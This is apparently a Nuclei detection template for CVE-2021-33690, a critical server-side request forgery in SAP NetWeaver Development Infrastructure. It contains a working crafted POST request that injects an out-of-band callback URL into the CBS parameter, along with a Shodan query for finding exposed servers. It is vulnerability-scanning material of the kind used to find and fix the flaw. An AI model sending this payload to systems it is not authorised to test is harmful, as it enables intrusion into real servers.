id: CVE-2021-33690 info: name: SAP NetWeaver Development Infrastructure - Server Side Request Forgery author: DhiyaneshDK severity: critical description: | Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet. remediation: Apply the latest firmware update provided by the vendor to mitigate this vulnerability. reference: - https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/ - https://nvd.nist.gov/vuln/detail/CVE-2021-33690 - https://launchpad.support.sap.com/#/notes/3072955 - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=582222806 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2021-33690 cwe-id: CWE-918 epss-score: 0.37614 epss-percentile: 0.9685 cpe: cpe:2.3:a:sap:netweaver_development_infrastructure:7.11:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: sap product: netweaver_development_infrastructure shodan-query: html:"SAP NetWeaver" tags: cve2021,cve,oast,ssrf,sap http: - raw: - | POST /tc.CBS.Appl/tcspseudo HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded CBS=http://{{interactsh-url}}&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: body words: - "Could not connect to the CBS" # digest: 4b0a00483046022100a4face4483ea0562ff6f9ca72e5847654f7780ec721556eb69c19eebe50a6e68022100c707b2c5a4b30563bcdf836d4fd410a87bfe04b7cf6f19b199e9153aa08eef2c:922c64590222798bb761d5b6d8e72950